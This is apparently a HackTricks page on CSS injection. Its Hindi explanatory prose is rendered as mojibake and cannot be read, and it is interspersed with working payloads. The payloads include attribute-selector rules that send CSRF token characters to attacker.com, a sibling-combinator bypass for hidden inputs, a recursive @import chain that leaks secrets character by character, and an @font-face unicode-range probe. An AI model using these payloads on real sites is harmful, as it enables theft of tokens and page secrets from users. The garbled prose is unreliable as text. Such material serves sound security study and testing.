CSS Injection

Support HackTricks

CSS Injection

Attribute Selector

CSS рдЪрдпрдирдХрд░реНрддрд╛ input рддрддреНрд╡ рдХреЗ name рдФрд░ value рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдорд╛рдиреЛрдВ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпрджрд┐ рдЗрдирдкреБрдЯ рддрддреНрд╡ рдХреА рдорд╛рди рд╡рд┐рд╢реЗрд╖рддрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд░реНрдг рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рддреЛ рдПрдХ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рдЫрд┐рдкреЗ рд╣реБрдП рдЗрдирдкреБрдЯ рддрддреНрд╡реЛрдВ (type="hidden") рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп рдПрдХ рд╕реАрдорд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЫрд┐рдкреЗ рд╣реБрдП рддрддреНрд╡ рдкреГрд╖реНрдарднреВрдорд┐рдпреЛрдВ рдХреЛ рд▓реЛрдб рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд┐рдкреЗ рд╣реБрдП рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╛рдИрдкрд╛рд╕

рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдкрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк ~ рд╕рд╛рдорд╛рдиреНрдп рднрд╛рдИ рд╕рдВрдпреЛрдЬрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдмрд╛рдж рдХреЗ рднрд╛рдИ рддрддреНрд╡ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред CSS рдирд┐рдпрдо рддрдм рд╕рднреА рднрд╛рдИ рддрддреНрд╡реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдЫрд┐рдкреЗ рд╣реБрдП рдЗрдирдкреБрдЯ рддрддреНрд╡ рдХреЗ рдмрд╛рдж рдЖрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдкреГрд╖реНрдарднреВрдорд┐ рдЫрд╡рд┐ рд▓реЛрдб рд╣реЛрддреА рд╣реИ:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХрд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рд╣реИред рдЖрдк рдЗрд╕реЗ рдпрд╣рд╛рдБ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред

CSS рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ

CSS рдЗрдВрдЬреЗрдХреНрд╢рди рддрдХрдиреАрдХ рдкреНрд░рднрд╛рд╡реА рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП:

  1. рдкреЗрд▓реЛрдб рд▓рдВрдмрд╛рдИ: CSS рдЗрдВрдЬреЗрдХреНрд╢рди рд╡реЗрдХреНрдЯрд░ рдХреЛ рдкрд░реНрдпрд╛рдкреНрдд рд▓рдВрдмреЗ рдкреЗрд▓реЛрдб рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдЪрдпрдирдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

  2. CSS рдкреБрдирд░реНрдореВрд▓реНрдпрд╛рдВрдХрди: рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреГрд╖реНрда рдХреЛ рдлреНрд░реЗрдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдирдП рдЙрддреНрдкрдиреНрди рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде CSS рдХреЗ рдкреБрдирд░реНрдореВрд▓реНрдпрд╛рдВрдХрди рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред

  3. рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрди: рдпрд╣ рддрдХрдиреАрдХ рдмрд╛рд╣рд░реА рд╣реЛрд╕реНрдЯ рдХрд┐рдП рдЧрдП рдЪрд┐рддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдорд╛рдирддреА рд╣реИред рдпрд╣ рд╕рд╛рдЗрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдмреНрд▓рд╛рдЗрдВрдб рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╕реЗрд▓реЗрдХреНрдЯрд░

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЪрдпрдирдХрд░реНрддрд╛рдУрдВ :has рдФрд░ :not рдХреЛ рдорд┐рд▓рд╛рдХрд░ рд╕рд╛рдордЧреНрд░реА рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЕрдВрдзреЗ рддрддреНрд╡реЛрдВ рд╕реЗ рднреАред рдпрд╣ рддрдм рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЖрдкрдХреЛ рдпрд╣ рдирд╣реАрдВ рдкрддрд╛ рд╣реЛрддрд╛ рдХрд┐ CSS рдЗрдВрдЬреЗрдХреНрд╢рди рд▓реЛрдб рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╡реЗрдм рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ рдХреНрдпрд╛ рд╣реИред рдпрд╣ рдЪрдпрдирдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдорд╛рди рдкреНрд░рдХрд╛рд░ рдХреЗ рдХрдИ рдмреНрд▓реЙрдХреЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ рдЬреИрд╕реЗ рдХрд┐:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

рдЗрд╕рдХрд╛ рд╕рдВрдпреЛрдЬрди рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд @import рддрдХрдиреАрдХ рдХреЗ рд╕рд╛рде рдХрд░рдиреЗ рдкрд░, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ CSS рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдВрдзреЗ рдкреГрд╖реНрдареЛрдВ рд╕реЗ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛рдП blind-css-exfiltration.

@import

рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХ рдореЗрдВ рдХреБрдЫ рдХрдорд┐рдпрд╛рдБ рд╣реИрдВ, рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдЖрдкрдХреЛ рдпрд╛ рддреЛ рд╢рд┐рдХрд╛рд░ рдкрд░ рдХрдИ рд▓рд┐рдВрдХ рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╛ рдЖрдкрдХреЛ CSS рдЗрдВрдЬреЗрдХреНрд╢рди рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреГрд╖реНрда рдХреЛ iframe рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рдФрд░ рдЪрддреБрд░ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ CSS @import рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддрдХрдиреАрдХ рдХреА рдЧреБрдгрд╡рддреНрддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддреА рд╣реИред

рдпрд╣ рдкрд╣рд▓реА рдмрд╛рд░ Pepe Vila рджреНрд╡рд╛рд░рд╛ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрд╣ рдЗрд╕ рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

рдПрдХ рд╣реА рдкреГрд╖реНрда рдХреЛ рдмрд╛рд░-рдмрд╛рд░ рд╡рд┐рднрд┐рдиреНрди рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп (рдЬреИрд╕реЗ рдкрд┐рдЫрд▓реЗ рдореЗрдВ), рд╣рдо рдкреГрд╖реНрда рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдФрд░ рдХреЗрд╡рд▓ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрдпрд╛рдд рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрд╣ рд╢рд┐рдХрд╛рд░ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд▓реЛрдб рд╣реИ):

@import url('//attacker.com:5001/start?');
  1. рдЖрдпрд╛рдд рд╣рдорд▓рд╛рд╡рд░реЛрдВ рд╕реЗ рдХреБрдЫ CSS рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрд╕реЗ рд▓реЛрдб рдХрд░реЗрдЧрд╛ред

  2. CSS рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдкрд╣рд▓рд╛ рднрд╛рдЧ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рднреЗрдЬреЗрдЧрд╛ рд╡рд╣ рд╣реИ рдлрд┐рд░ рд╕реЗ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ @importред

  3. рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХрд╛ рд╕рд░реНрд╡рд░ рдЕрднреА рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрддреНрддрд░ рдирд╣реАрдВ рджреЗрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдХреБрдЫ рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рд▓реАрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЗрд╕ рдЖрдпрд╛рдд рдХрд╛ рдЙрддреНрддрд░ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рджреЗрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред

  4. рдкреЗрд▓реЛрдб рдХрд╛ рджреВрд╕рд░рд╛ рдФрд░ рдмрдбрд╝рд╛ рднрд╛рдЧ рдПрдХ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╕реЗрд▓реЗрдХреНрдЯрд░ рд▓реАрдХ рдкреЗрд▓реЛрдб рд╣реЛрдЧрд╛ред

  5. рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЛ рдЧреБрдкреНрдд рдХрд╛ рдкрд╣рд▓рд╛ рдЕрдХреНрд╖рд░ рдФрд░ рдЕрдВрддрд┐рдо рдЕрдХреНрд╖рд░ рднреЗрдЬреЗрдЧрд╛ред

  6. рдПрдХ рдмрд╛рд░ рдЬрдм рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд╕рд░реНрд╡рд░ рдиреЗ рдЧреБрдкреНрдд рдХрд╛ рдкрд╣рд▓рд╛ рдФрд░ рдЕрдВрддрд┐рдо рдЕрдХреНрд╖рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдпрд╛, рддреЛ рдпрд╣ рдЪрд░рдг 2 рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рдЖрдпрд╛рдд рдХрд╛ рдЙрддреНрддрд░ рджреЗрдЧрд╛ред

  7. рдЙрддреНрддрд░ рдЪрд░рдг 2, 3 рдФрд░ 4 рдХреЗ рд╕рдорд╛рди рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЗрд╕ рдмрд╛рд░ рдпрд╣ рдЧреБрдкреНрдд рдХрд╛ рджреВрд╕рд░рд╛ рдЕрдХреНрд╖рд░ рдФрд░ рдлрд┐рд░ рдЕрдВрддрд┐рдо рд╕реЗ рдкрд╣рд▓реЗ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ред

рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд▓реВрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ рд╡рд╣ рдЧреБрдкреНрдд рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд▓реАрдХ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ред

рдЖрдк рдореВрд▓ рдкреЗрдкреЗ рд╡рд┐рд▓рд╛ рдХрд╛ рдХреЛрдб рдЗрд╕ рдкрд░рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк рд▓рдЧрднрдЧ рд╕рдорд╛рди рдХреЛрдб рд▓реЗрдХрд┐рди рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣рд░ рдмрд╛рд░ 2 рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧреА (рд╢реБрд░реБрдЖрдд рд╕реЗ рдФрд░ рдЕрдВрдд рд╕реЗ) рдХреНрдпреЛрдВрдХрд┐ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╕реЗрд▓реЗрдХреНрдЯрд░ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд░рд╣рд╕реНрдп рдХреЛ рддреЗрдЬреА рд╕реЗ рд▓реАрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдХрднреА-рдХрднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкрд╣рдЪрд╛рди рдирд╣реАрдВ рдкрд╛рддреА рд╣реИ рдХрд┐ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдЙрдкрд╕рд░реНрдЧ + рдкреНрд░рддреНрдпрдп рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреВрд░рд╛ рдзреНрд╡рдЬ рд╣реИ рдФрд░ рдпрд╣ рдЖрдЧреЗ (рдЙрдкрд╕рд░реНрдЧ рдореЗрдВ) рдФрд░ рдкреАрдЫреЗ (рдкреНрд░рддреНрдпрдп рдореЗрдВ) рдЬрд╛рд░реА рд░рдЦреЗрдЧреА рдФрд░ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдпрд╣ рд▓рдЯрдХ рдЬрд╛рдПрдЧреАред рдХреЛрдИ рдЪрд┐рдВрддрд╛ рдирд╣реАрдВ, рдмрд╕ рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╡рд╣рд╛рдВ рдзреНрд╡рдЬ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдиреНрдп рдЪрдпрдирдХрд░реНрддрд╛

CSS рдЪрдпрдирдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде DOM рднрд╛рдЧреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ:

  • .class-to-search:nth-child(2): рдпрд╣ DOM рдореЗрдВ "class-to-search" рдХреЗ рд╕рд╛рде рджреВрд╕рд░реЗ рдЖрдЗрдЯрдо рдХреЛ рдЦреЛрдЬреЗрдЧрд╛ред

  • :empty рдЪрдпрдирдХрд░реНрддрд╛: рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрд╕ рд▓реЗрдЦ** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:**

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

рд╕рдВрджрд░реНрдн: CSS рдЖрдзрд╛рд░рд┐рдд рд╣рдорд▓рд╛: @font-face рдХреЗ unicode-range рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ, рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд XS-Search PoC @terjanq рджреНрд╡рд╛рд░рд╛

рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░ рдЗрд░рд╛рджрд╛ рд╣реИ рдХрд┐ рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдПрдХ рдХрд╕реНрдЯрдо рдлрд╝реЙрдиреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдкрд╛рда (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, 'A') рдХреЗрд╡рд▓ рддрднреА рдЗрд╕ рдлрд╝реЙрдиреНрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрди (favicon.ico) рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. рдХрд╕реНрдЯрдо рдлрд╝реЙрдиреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ:

  • рдПрдХ рдХрд╕реНрдЯрдо рдлрд╝реЙрдиреНрдЯ рдХреЛ <head> рдЕрдиреБрднрд╛рдЧ рдореЗрдВ <style> рдЯреИрдЧ рдХреЗ рднреАрддрд░ @font-face рдирд┐рдпрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • рдлрд╝реЙрдиреНрдЯ рдХрд╛ рдирд╛рдо poc рд╣реИ рдФрд░ рдЗрд╕реЗ рдПрдХ рдмрд╛рд╣рд░реА рдПрдВрдбрдкреЙрдЗрдВрдЯ (http://attacker.com/?leak) рд╕реЗ рд▓рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • unicode-range рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ U+0041 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рдпреВрдирд┐рдХреЛрдб рдХреИрд░реЗрдХреНрдЯрд░ 'A' рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред

  1. рдлреЙрд▓рдмреИрдХ рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рд╕рд╛рде рдСрдмреНрдЬреЗрдХреНрдЯ рддрддреНрд╡:

  • <body> рдЕрдиреБрднрд╛рдЧ рдореЗрдВ id="poc0" рдХреЗ рд╕рд╛рде рдПрдХ <object> рддрддреНрд╡ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рддрддреНрд╡ http://192.168.0.1/favicon.ico рд╕реЗ рдПрдХ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред

  • рдЗрд╕ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП font-family рдХреЛ <style> рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд 'poc' рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди (favicon.ico) рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ, рддреЛ <object> рдЯреИрдЧ рдХреЗ рднреАрддрд░ рдлреЙрд▓рдмреИрдХ рд╕рд╛рдордЧреНрд░реА (рдЕрдХреНрд╖рд░ 'A') рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддреА рд╣реИред

  • рдпрджрд┐ рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдлреЙрд▓рдмреИрдХ рд╕рд╛рдордЧреНрд░реА ('A') рдХрд╕реНрдЯрдо рдлрд╝реЙрдиреНрдЯ poc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рдЬрд╛рдПрдЧреАред

рд╕реНрдХреНрд░реЙрд▓-рдЯреВ-рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝реНрд░реИрдЧрдореЗрдВрдЯ рдХреА рд╕реНрдЯрд╛рдЗрд▓рд┐рдВрдЧ

:target рдкреНрд╕реЗрдЙрдбреЛ-рдХреНрд▓рд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рддрддреНрд╡ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ URL рдлрд╝реНрд░реИрдЧрдореЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рд▓рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ CSS рд╕реЗрд▓реЗрдХреНрдЯрд░реНрд╕ рд▓реЗрд╡рд▓ 4 рд╕реНрдкреЗрд╕рд┐рдлрд┐рдХреЗрд╢рди рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ ::target-text рдХрд┐рд╕реА рднреА рддрддреНрд╡ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рдЬрдм рддрдХ рдХрд┐ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдлрд╝реНрд░реИрдЧрдореЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рд▓рдХреНрд╖рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛред

рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рд╕реНрдХреНрд░реЙрд▓-рдЯреВ-рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝реНрд░реИрдЧрдореЗрдВрдЯ рдлрд╝реАрдЪрд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдХреЗ рдХрд┐рд╕реА рд╡реЗрдмрдкреЗрдЬ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЯреЗрдХреНрд╕реНрдЯ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ CSS рдирд┐рдпрдо рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ:

:target::before { content : url(target.png) }

